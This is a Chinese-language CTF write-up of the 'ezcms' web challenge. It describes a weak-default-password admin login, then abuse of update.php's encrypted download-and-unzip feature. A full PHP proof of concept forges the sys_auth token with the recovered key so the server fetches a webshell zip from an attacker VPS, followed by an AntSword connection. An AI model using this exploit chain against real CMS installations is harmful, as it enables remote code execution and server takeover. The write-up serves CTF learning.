ezcms

进去页面之后就是一个漫画的页面

给的有源码我们直接看

这里有个admin.php,我们访问admin.php

需要登入,我们全局搜索密码

这里有个初始密码,弱密码登入

这几个cms框架,做的最多的就是代码注入或者文件上传之类的

我们优先考虑这些找了一遍没有代码注入的地方

我们看一下文件有个update.php,这里可以文件上传

我们大概看一下逻辑

这里有个下载文件操作我们点击去看一下

这是加解密操作应该是把文件地址给解密之后进行下载

这里看一下这个type=1应该是解密,type=0应该是加密

我们可以传入恶意文件,得到shell

思路有了,我们看一下具体的实现过程

下面是获取头文件信息

这里是判断是否为zip文件,也就是说我们只能上传zip文件

我们先写个马,然后压缩之后上传到我们的vps

之后我们传入此文件,写马成功

这里我们的key可以在文件找到

最后的poc

<?php
define('Mc_Encryption_Key','GKwHuLj9AOhaxJ2');

$strings = 'http://vpsip/hello.zip';   //这个是恶意文件

echo(sys_auth($strings));


function sys_auth($string, $type = 0, $key = '', $expiry = 0) {
    if(is_array($string)) $string = json_encode($string);
    if($type == 1) $string = str_replace('-','+',$string);
    $ckey_length = 4;
    $key = md5($key ? $key : Mc_Encryption_Key);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($type == 1 ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);
    $string = $type == 1 ? base64_decode(substr($string, $ckey_length)) :  sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);
    $result = '';
    $box = range(0, 255);
    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }
    if($type == 1) {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            $result = substr($result, 26);
            $json = json_decode($result,1);
            if(!is_numeric($result) && $json){
                return $json;
            }else{
                return $result;
            }
        }
        return '';
    }
    return str_replace('+', '-', $keyc.str_replace('=', '', base64_encode($result)));
}
40b4yhZhNX/pqSgEYc8Uwy-sGsZlun5GGpiBH2IipHN5kFJ6SKQq4DO8JmX7NM2a1oTcLI4bk-1L6tQ

我们传入这个网址

最后我们蚁剑连接

总结

常见的cms都是要文件上传和代码注入

后记

今天上午打了那个台湾的CTF只能说人家的比赛真的好难都是几个方向联合在一起出的

一道web题

考的还是rclone这个当时就了解了一下,题是真的不会做

附件给一下可以本地搭建一下

rclone.tar.gz